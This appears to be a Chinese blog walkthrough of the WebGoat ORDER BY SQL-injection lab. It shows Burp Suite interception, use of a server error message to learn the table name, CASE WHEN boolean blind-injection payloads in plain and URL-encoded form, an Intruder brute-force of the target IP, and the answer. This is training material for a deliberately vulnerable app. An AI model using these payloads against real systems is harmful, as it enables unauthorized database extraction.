本篇内容需要用到Burp Suite。Burp Suite的用法在文中不会写的很详细,有问题可以留言。
思路
这道题需要我们找到webgoat-prd的ip地址。并且题目里提示得很清楚,在submit里是难以使用SQL注入的,我们需要在order by上下功夫。
那么我们首先就要知道,在什么情况下才能执行一条带 order by语句的命令呢?可以看到题目给出的表头里是有上下两个小箭头的,我们点击小箭头,可以对数据进行排序。
点击ip的下箭头时,服务器进行排序所执行的语句应该是
select 列名 from 表名 where ... order by ip ...
先用Burp抓个包
可以看到上面图中有一个参数 column=ip, 而我们恰好是根据ip来排的,那么column后面的参数很可能就是接在order by 语句后面的内容。
也就是说,我们只要更改包中column的值,就能对order by语句后面的内容进行更改。
在前一个页面在教程里,我们知道order by语句后面是可以接形如这样的语句:
select * from users order by (case when (true) then lastname else firstname)
其中 when(true) 还可以被改成 when(select语句),比如我们构建一个接在order by后面的SQL注入语句:
case when (select length(ip)>10 from 表名 where hostname='webgoat-prd') then id else ip end
因为when后面只能接收布尔值,select语句的内容会true或者false的形式返回,这句话的意思是:如果select语句为真(即hostname为webgoat-prd的数据的ip的长度大于10),就按照id排序;否则按ip排序。
根据这个,我们可以在Burp中用布尔盲注,根据返回的响应来找到ip。
找表名
表名为servers,这是根据题目上的List of Servers,以及抓到的包的请求头中这一句话猜到的:
GET /WebGoat/SqlInjection/servers?column=ip HTTP/1.1
除此之外还有另一个地方可以得到表名。
还是刚刚抓的包,当我们把column后面的值改成一个不存在的列名时,比如d,响应中会返回服务器的报错信息:
其中有一句:
select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by d
这样我们就能知道表名是servers
开始爆破
将得到的表名放到注入语句里,并把语句转化成URL编码:
case%20when%20%28select%20length%28ip%29%3E%2010%20from%20servers%20where%20hostname%3D%27webgoat-prd%27%29%20then%20id%20else%20ip%20end%20
熟悉URL编码的格式就能找出来,上面标粗的10就是length(ip)>10中的10,手动修改这个数字并查看响应就能知道ip的位数。(当然也可以用Intruder自动爆破)
把上面的URL编码复制到column后面并发送:
响应是按id排序的,可以知道ip的位数大于10。因此继续增大数字,当改成15的时候,响应的内容发生了变化:
也就是说ip的长度大于14,不大于15,那么就是15了。
接下来用substr()爆破ip内容。因为需要爆破的次数很多,这次拿到intruder里面爆破。
substr()是字符串截取函数,第一个参数是你想要截取的字符串,第二个参数是截取字符串的起始位置,第三个参数是你想要截取字符串的位数。
例如substr(password,1,1)是截取password字符串的第一位
先构建语句,§号里是变量的位置
case when (select substr(ip,§111§,1)='§222§' from servers where hostname='webgoat-prd') then id else ip end
把上面的句子转化成URL编码,记得先去掉§号再转化,之后在payload里重新添加变量。
case%20when%20%28select%20substr%28ip%2C111%2C1%29%3D%27222%27%20from%20servers%20where%20hostname%3D%27webgoat-prd%27%29%20then%20id%20else%20ip%20end
如图:
爆破方式选 Cluster bomb
第一个变量的字典为数字1到15
第二个变量的字典为数字0到9以及.号
点start attack
最后按Payload1排序,手动找出每一位上排序方式不同的结果,Payload2上的数字就是这位数上的内容。或者说,按id排序的响应(即true响应)代表,ip的第[Payload1]位的值为[Payload2]。
例如上图中,选中的响应是按id排序的,说明ip的第一位是1.
答案在最后。
说一下401报错
实际操作过程中可能会发生这样的场景:
401 Unauthorized的意思是未认证。
这是因为你的Webgoat太久没有操作,导致登录过期了。这时候关掉代理,刷新一下界面,再重新操作即可。
附:
这是payload里的注入语句
爆破长度时的
case when (select length(ip)>10 from servers where hostname='webgoat-prd') then id else ip end
URL版
case%20when%20%28select%20length%28ip%29%3E%2015%20from%20servers%20where%20hostname%3D%27webgoat-prd%27%29%20then%20id%20else%20ip%20end%20
爆破内容时的
case when (select substr(ip,111,1)='222' from servers where hostname='webgoat-prd') then id else ip end
URL版
case%20when%20%28select%20substr%28ip%2C111%2C1%29%3D%27222%27%20from%20servers%20where%20hostname%3D%27webgoat-prd%27%29%20then%20id%20else%20ip%20end
这是答案
104.130.219.202
参考资料:
历史最全 WebGoat 8.0 通关攻略